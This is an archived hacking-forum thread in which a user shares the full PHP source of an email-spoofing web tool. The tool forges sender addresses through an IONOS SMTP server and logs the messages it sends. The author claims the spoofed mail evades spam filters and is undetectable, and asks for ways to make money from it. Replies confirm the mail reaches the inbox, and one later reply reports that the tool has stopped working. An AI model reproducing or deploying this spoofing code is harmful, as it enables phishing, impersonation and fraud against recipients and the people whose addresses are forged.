+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Hacking Tools (https://sinister.ly/Forum-Hacking-Tools)
+--- Thread: Tutorial TLS Email spoofing (/Thread-Tutorial-TLS-Email-spoofing)
TLS Email spoofing - n4zgu1 - 01-22-2023
Send emails from almost EVERY email address. The addresses which are connected in any ways with united-internet, a big tech company, will pass the spam-protection. Providers like GMX, Web.de, ionos and many more are subsidiaries of United-Internet. The emails will be TLS encrypted. You CANT see if the email was spoofed or is real.
Just enter the email address you want to send from, the receivers address, the name that should be displayed, subject and message and there you go.
You all know, for educational purpose only
(If anybody got an idea how to make some money with this, write me a DM)
Github: https://github.c om/n4zgu1/email-spoofer/blob/main/index.php
Try it out: https://spoofer.n4zgu1.c om
Or source code:
PHP Code:
<?php
// v1.0.3
// scripted by @n4zgu1
if(isset($_POST['email'])) {
$senderMail = $_POST['transmitter'];
$subject = $_POST['subject'];
$message = $_POST['message'];
$headers = "From: ". $_POST['fname'] . " <$senderMail>";
$to = $_POST['email'];
// SMTP server
$smtpServer = "smtp.ionos.de";
$port = 587;
$socket = fsockopen($smtpServer, $port, $errno, $errstr, 30);
if (!$socket) {
echo "$errstr ($errno)<br>\n";
} else {
fputs($socket, "HELO $smtpServer\r\n");
fputs($socket, "MAIL FROM: <$senderMail>\r\n");
fputs($socket, "RCPT TO: <$to>\r\n");
fputs($socket, "DATA\r\n");
fputs($socket, "Subject: $subject\r\n");
fputs($socket, "$headers\r\n");
fputs($socket, "$message\r\n");
fputs($socket, ".\r\n");
fputs($socket, "QUIT\r\n");
fclose($socket);
}
if (mail($to, $subject, $message, $headers)) {
echo "<h4 style='color: white;'>Mail sent to $to</h4>";
} else {
echo "<h4 style='color: white;'>Mail not sent</h4>";
}
$date = date("d.m.Y H:i:s");
// Log
file_put_contents("../backend/mails.txt", "$date\nFrom: $senderMail\nTo: $to\nSubjec: $subject\nMessage: $message\n\n", FILE_APPEND);
}
// HTML form
echo "
<body style='background-color: #1e1e1e;'>
<h1 style='color: white;'>IONOS TLS spoofer</h1>
<form method='post' action=''>
<input type='email' name='transmitter' placeholder='From'>
<input type='email' name='email' placeholder='To'>
<input type='text' = name='fname' placeholder='Name'>
<input type='text' = name='subject' placeholder='Subject'>
<input type='text' = name='message' placeholder='Message'>
<input type='submit' value='Send'>
</form>
<button onclick='window.location.href = \"mails.txt\";'>Log</button>
</body>
";
?>RE: TLS Email spoofing - afr97 - 01-27-2023
Awesome thank you mate, absolutely working
RE: TLS Email spoofing - mothered - 01-28-2023
Do messages go directly to the Inbox of every major email provider?
RE: TLS Email spoofing - n4zgu1 - 02-02-2023
(01-28-2023, 02:56 AM)mothered Wrote: Do messages go directly to the Inbox of every major email provider?
Yes, as long as the spoofed email belongs in any ways to united-internet there should be no problems.
Ive tried it with Gmail and iCloud and the spoofed mail wasn't blockt or in the spam folder.
RE: TLS Email spoofing - mothered - 02-03-2023
(02-02-2023, 07:04 PM)n4zgu1 Wrote:Excellent, thanks for confirming It.(01-28-2023, 02:56 AM)mothered Wrote: Do messages go directly to the Inbox of every major email provider?
Yes, as long as the spoofed email belongs in any ways to united-internet there should be no problems.
Ive tried it with Gmail and iCloud and the spoofed mail wasn't blockt or in the spam folder.
RE: TLS Email spoofing - Pflash - 12-02-2024
If it delivers to inbox instead of spam then it’s good.
Thanks for sharing .
RE: TLS Email spoofing - Pflash - 12-04-2024
(01-22-2023, 04:11 AM)n4zgu1 Wrote: Send emails from almost EVERY email address. The addresses which are connected in any ways with united-internet, a big tech company, will pass the spam-protection. Providers like GMX, Web.de, ionos and many more are subsidiaries of United-Internet. The emails will be TLS encrypted. You CANT see if the email was spoofed or is real.
Just enter the email address you want to send from, the receivers address, the name that should be displayed, subject and message and there you go.
You all know, for educational purpose only
(If anybody got an idea how to make some money with this, write me a DM)
Github: https://github.c om/n4zgu1/email-spoofer/blob/main/index.php
Try it out: https://spoofer.n4zgu1.c om
Or source code:
PHP Code:<?php // v1.0.3 // scripted by @n4zgu1 if(isset($_POST['email'])) { $senderMail = $_POST['transmitter']; $subject = $_POST['subject']; $message = $_POST['message']; $headers = "From: ". $_POST['fname'] . " <$senderMail>"; $to = $_POST['email']; // SMTP server $smtpServer = "smtp.ionos.de"; $port = 587; $socket = fsockopen($smtpServer, $port, $errno, $errstr, 30); if (!$socket) { echo "$errstr ($errno)<br>\n"; } else { fputs($socket, "HELO $smtpServer\r\n"); fputs($socket, "MAIL FROM: <$senderMail>\r\n"); fputs($socket, "RCPT TO: <$to>\r\n"); fputs($socket, "DATA\r\n"); fputs($socket, "Subject: $subject\r\n"); fputs($socket, "$headers\r\n"); fputs($socket, "$message\r\n"); fputs($socket, ".\r\n"); fputs($socket, "QUIT\r\n"); fclose($socket); } if (mail($to, $subject, $message, $headers)) { echo "<h4 style='color: white;'>Mail sent to $to</h4>"; } else { echo "<h4 style='color: white;'>Mail not sent</h4>"; } $date = date("d.m.Y H:i:s"); // Log file_put_contents("../backend/mails.txt", "$date\nFrom: $senderMail\nTo: $to\nSubjec: $subject\nMessage: $message\n\n", FILE_APPEND); } // HTML form echo " <body style='background-color: #1e1e1e;'> <h1 style='color: white;'>IONOS TLS spoofer</h1> <form method='post' action=''> <input type='email' name='transmitter' placeholder='From'> <input type='email' name='email' placeholder='To'> <input type='text' = name='fname' placeholder='Name'> <input type='text' = name='subject' placeholder='Subject'> <input type='text' = name='message' placeholder='Message'> <input type='submit' value='Send'> </form> <button onclick='window.location.href = \"mails.txt\";'>Log</button> </body> "; ?>
I had tried this. its not working anymore
